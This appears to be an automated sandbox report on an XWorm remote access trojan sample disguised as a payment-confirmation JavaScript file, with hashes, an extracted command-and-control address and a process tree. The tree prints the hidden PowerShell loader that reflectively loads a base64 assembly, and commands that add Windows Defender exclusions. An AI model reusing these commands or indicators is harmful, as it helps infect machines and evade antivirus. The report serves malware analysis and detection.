xworm | b66e79437c28bbb58348435e2dae72f72bf4c2d55ca32547fb4d37416a3ac0a2

Analysis

max time kernel
149s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 14:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
confirmación de pago.js
Size 35.5MB
Sample260826-rrnyfa1ajf
SHA256 b66e79437c28bbb58348435e2dae72f72bf4c2d55ca32547fb4d37416a3ac0a2
MD5 c98a69e01df32539cb2d60bdf8181e45
SHA1 9db22201f293222bf948886815f8dd4a47bf0892
SHA512 06af1a9113c04bcb93a94ea7dde39b8fc15a427a3e3706773fe35c3e4880565b1fbb9bf26539518d16baaa72239b30a4552c9f7ac8f8aecfce671b8a48901e3d
SSDEEP 96:JMP2Ha6qqOqqqqWqqqq88NqqJkqqqqqqqqq6qqqqqqqqqqqqqqqqqqqqqqqqqqqg:JeoNqQePMBLb5VBMczT5WVhRmrt85m6
TLSH
T1AE875E9D98584E56437C2A984A6769CEEE7FDC746AD8DB870D4FD09F08095B820FB330
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

194.116.236.54:2467

Mutex

jkqRGXU87KMxJ5rD

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3340-13-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4260	804	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4260	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4260	powershell.exe
5772	powershell.exe
1992	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4260 set thread context of 3340	4260	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4260	powershell.exe
4260	powershell.exe
5772	powershell.exe
5772	powershell.exe
1992	powershell.exe
1992	powershell.exe
3340	Caspol.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	3340	Caspol.exe
Token: SeDebugPrivilege	5772	powershell.exe
Token: SeIncreaseQuotaPrivilege	5772	powershell.exe
Token: SeSecurityPrivilege	5772	powershell.exe
Token: SeTakeOwnershipPrivilege	5772	powershell.exe
Token: SeLoadDriverPrivilege	5772	powershell.exe
Token: SeSystemProfilePrivilege	5772	powershell.exe
Token: SeSystemtimePrivilege	5772	powershell.exe
Token: SeProfSingleProcessPrivilege	5772	powershell.exe
Token: SeIncBasePriorityPrivilege	5772	powershell.exe
Token: SeCreatePagefilePrivilege	5772	powershell.exe
Token: SeBackupPrivilege	5772	powershell.exe
Token: SeRestorePrivilege	5772	powershell.exe
Token: SeShutdownPrivilege	5772	powershell.exe
Token: SeDebugPrivilege	5772	powershell.exe
Token: SeSystemEnvironmentPrivilege	5772	powershell.exe
Token: SeRemoteShutdownPrivilege	5772	powershell.exe
Token: SeUndockPrivilege	5772	powershell.exe
Token: SeManageVolumePrivilege	5772	powershell.exe
Token: 33	5772	powershell.exe
Token: 34	5772	powershell.exe
Token: 35	5772	powershell.exe
Token: 36	5772	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeIncreaseQuotaPrivilege	1992	powershell.exe
Token: SeSecurityPrivilege	1992	powershell.exe
Token: SeTakeOwnershipPrivilege	1992	powershell.exe
Token: SeLoadDriverPrivilege	1992	powershell.exe
Token: SeSystemProfilePrivilege	1992	powershell.exe
Token: SeSystemtimePrivilege	1992	powershell.exe
Token: SeProfSingleProcessPrivilege	1992	powershell.exe
Token: SeIncBasePriorityPrivilege	1992	powershell.exe
Token: SeCreatePagefilePrivilege	1992	powershell.exe
Token: SeBackupPrivilege	1992	powershell.exe
Token: SeRestorePrivilege	1992	powershell.exe
Token: SeShutdownPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeSystemEnvironmentPrivilege	1992	powershell.exe
Token: SeRemoteShutdownPrivilege	1992	powershell.exe
Token: SeUndockPrivilege	1992	powershell.exe
Token: SeManageVolumePrivilege	1992	powershell.exe
Token: 33	1992	powershell.exe
Token: 34	1992	powershell.exe
Token: 35	1992	powershell.exe
Token: 36	1992	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3340	Caspol.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4260 wrote to memory of 3340	4260	powershell.exe	92
PID 4260 wrote to memory of 3340	4260	powershell.exe	92
PID 4260 wrote to memory of 3340	4260	powershell.exe	92
PID 4260 wrote to memory of 3340	4260	powershell.exe	92
PID 4260 wrote to memory of 3340	4260	powershell.exe	92
PID 3340 wrote to memory of 5772	3340	Caspol.exe	93
PID 3340 wrote to memory of 1992	3340	Caspol.exe	96

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\confirmación de pago.js"
1⤵
PID:2680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('Ine6FRoy+O95F/dIaSnr+gbvXRJPcEL6Zwbp2hr7QnA9O2CciGqoP3lGhd+0GEJb230JSKiTl5joJHLrrQ/P967eMA8ZPeyXQDKlNIYx7yw=','','lhm0dSw5PngUAE37b4UgZDoxCU+12O+WpbCARCX5+cJpg5RIOhNsUdQ18AicD9GF','3N4yKtjoDN1jYKui21lRR+iEVB06LJRU0T0IUFmFAHY=','ze1rPfs25f7hqRno2KCBeKU8WTH7yAd91QxocC8xblY=','','Q8aRykAjZvsJIlJp7uy83UEIc/uJ6uoT6dePm8UXlSc=','','4hrD5o+tUnGlldkitJ2uS/4gqV9MLNs0r5B1CTp54rM=','aHyO7miZIY+CG9R913JFIj6783Dzuwj3QfS3385z6mhHC8vuZ1pj14tWqNC3d1J2','F4r427iCoUjCy6U64egbZRNUdeMX/oYzlVAyVowlkak=','yqM5Qj7BXB4PG01HNlpnIRcN+2n4gcBCI46KQCKODDA=','MPcLUQN0tO/UqkCGPpQbU6CG25+VHdYu71JogSQ8J1I=','','NbteGclvUQQRi1oA3Urwy5zPk9wN0NN3iXvoiPhbSP0=','A3RtKu61EjKoSXQ/GB9ldu7MYIfwV7twnHTB+MpYkyE=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4260
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5772
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1992

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 04209874c096bf2031162c0fc59068ff224dd9c4627a51ff198495a8aac305d2
MD5 a97a157da97765a670bc193390d71a66
SHA1 ddcee1870e068a16e8e1e7ea9687e8cdfc58a4c6
SHA512 9b0d01140ba4647ef574da5a2468d57ead478292bad82123c1e5248743e20f9eed22df6e0ae0121c79617bebf1432498d3cc7ffe40062fa35ccc99f790366311
SSDEEP 384:PSEboT1iBGLGW14b7vkxB+ge/rr2Pn5IAXz48+pWjutzKwwvYbhNqPUWRtPZRf21:d0Z6GCWifYB+d6RIAXzX+lVvbhNqPttK
TLSH
T159A2B478213F6DC7D8D216B010D20AE7FBE4D489DAF65194BF2BDE2F4C90EB64A60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_gllyp1zw.si4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gllyp1zw.si4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1992-43-0x000000006FD80000-0x000000006FDCC000-memory.dmp

Download

memory/3340-13-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/3340-47-0x0000000006F00000-0x00000000074BA000-memory.dmp

Download

memory/3340-48-0x0000000006DC0000-0x0000000006E52000-memory.dmp

Download

memory/3340-49-0x0000000006DA0000-0x0000000006DAA000-memory.dmp

Download

memory/3340-17-0x0000000074332000-0x0000000074333000-memory.dmp

Download

memory/3340-16-0x0000000006210000-0x00000000062AC000-memory.dmp

Download

memory/4260-9-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

Download

memory/4260-12-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

Download

memory/4260-15-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

Download

memory/4260-11-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

Download

memory/4260-10-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

Download

memory/4260-7-0x0000024B15D50000-0x0000024B15E1E000-memory.dmp

Download

memory/4260-8-0x0000024B15E20000-0x0000024B15E2A000-memory.dmp

Download

memory/4260-6-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

Download

memory/4260-0-0x00007FFA55AFF000-0x00007FFA55B00000-memory.dmp

Download

memory/4260-5-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

Download

memory/4260-3-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

Download

memory/4260-4-0x0000024B30500000-0x0000024B30522000-memory.dmp

Download

memory/5772-21-0x0000000006A40000-0x0000000006AA6000-memory.dmp

Download

memory/5772-27-0x0000000001290000-0x00000000012AE000-memory.dmp

Download

memory/5772-29-0x0000000007FD0000-0x0000000008006000-memory.dmp

Download

memory/5772-28-0x00000000012D0000-0x000000000131C000-memory.dmp

Download

memory/5772-30-0x000000006FD80000-0x000000006FDCC000-memory.dmp

Download

memory/5772-33-0x00000000075D0000-0x00000000075F0000-memory.dmp

Download

memory/5772-34-0x0000000008010000-0x00000000080B3000-memory.dmp

Download

memory/5772-35-0x00000000087B0000-0x0000000008E2C000-memory.dmp

Download

memory/5772-36-0x0000000008170000-0x000000000818A000-memory.dmp

Download

memory/5772-37-0x00000000081E0000-0x00000000081EA000-memory.dmp

Download

memory/5772-38-0x00000000083E0000-0x0000000008476000-memory.dmp

Download

memory/5772-25-0x0000000006CD0000-0x000000000702B000-memory.dmp

Download

memory/5772-22-0x0000000006AB0000-0x0000000006B16000-memory.dmp

Download

memory/5772-20-0x00000000069A0000-0x00000000069C2000-memory.dmp

Download

memory/5772-19-0x0000000006310000-0x000000000695A000-memory.dmp

Download

memory/5772-18-0x0000000003080000-0x00000000030B6000-memory.dmp

Download